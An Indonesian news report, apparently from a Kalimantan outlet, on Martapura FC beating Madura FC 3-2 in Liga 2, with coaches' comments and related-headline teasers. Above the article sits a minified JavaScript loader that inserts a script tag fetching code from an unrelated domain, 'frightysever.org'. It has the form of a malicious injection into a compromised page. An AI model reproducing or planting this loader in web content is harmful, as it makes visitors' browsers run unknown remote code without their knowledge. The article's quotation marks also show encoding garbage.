(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Saling jual beli gol terjadi saat Martapura FC menjamu Madura FC di Stadion Demang Lehman pada lanjutan babak 16 besar Grup D Liga 2, Kamis (5/10).  Diwarnai lima gol, Martapura FC yang bertindak sebagai tuan rumah berhasil unggul dramatis 3-2, menjadikan Laskar Sultan Adam meraih poin penuh di kandang sendiri.
Kedua tim bermain menyerang dengan intensitas tinggi sejak menit awal babak pertama. Namun skor tipis 1-0 menutup jeda laga untuk keunggulan tuan rumah berkat gol Agus Setia Wibowo menit 26.
Empat gol bersarang di gawang masing-masing kedua tim. Saking serunya, belum ada 15 menit, skor yang tadinya 1-0 berubah menjadi 2-1 bagi keunggulan Martapura FC.
Jual beli serangan terus terjadi hingga memasuki 15 menit terakhir, namun Madura FC lah yang mampu mengubah skor menjadi imbang 2-2 melalui Oktovianus Maniani menit 74.
Drama pun terjadi di menit-menit akhir pertandingan. Saat kedua kesebelasan sudah siap-siap mengakhiri laga dengan skor sama kuat, Rifan Nahumarury memastikan Madura FC pulang dengan tangan kosong.
Melalui tendangan bebas akuratnya, Rifan mampu mengecoh kiper Iqbal Bachtiar dan memaksa skor kembali berubah 3-2. Golnya menjadi yang terakhir di laga tersebut dan Martapura FC raih tiga poin penting.
Usai laga, pelatih kepala Madura FC, Salahudin mengatakan, anak asuhnya sudah berjuang meskipun timnya menelan kekalahan. “Seharusnya paling tidak tadi seri. Dari segi pemain kita berimbang, tapi kalau dari segi persiapan kita kalah karena kita komposisi timnya baru,†ujarnya.
Sementara itu pelatih kepala Martapura FC, Frans Sinatra Huwae sangat bersyukur atas kemenangan yang didapat timnya.
“Yang pertama Alhamdulillah kita mendapatkan 3 poin, walaupun pertandingan tadi sangat sengit dan lawan juga menekan dengan permainan yang cukup bagus. Pastinya pertandingan ini berbeda, dalam artian mereka yang menentukan pertandingan ini. Mereka bermain terbuka, jadi sudah kita antisipasi dari awal,†katanya. Namun disisi lain Frans mengakui, banyak kelemahan dari Martapura FC di pertandingan kali ini. “Mereka berani menekan dan kita selalu keteteran,†pungkasnya.
Untuk menentukan langkah lolos atau tidaknya Martapura FC ke babak 8 besar, lanjut Frans adalah Martapura FC itu sendiri, bukan bergantung kepada tim lawan. “Jadi pertandingan kita harus fokus,†tegasnya.
Atas hasil ini, Martapura FC mengkudeta posisi puncak Grup D dengan raihan 8 poin dari empat laga. Sedangkan Madura FC berada di posisi ketiga dengan raihan 4 poin dari tiga laga. ***
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
This website uses cookies.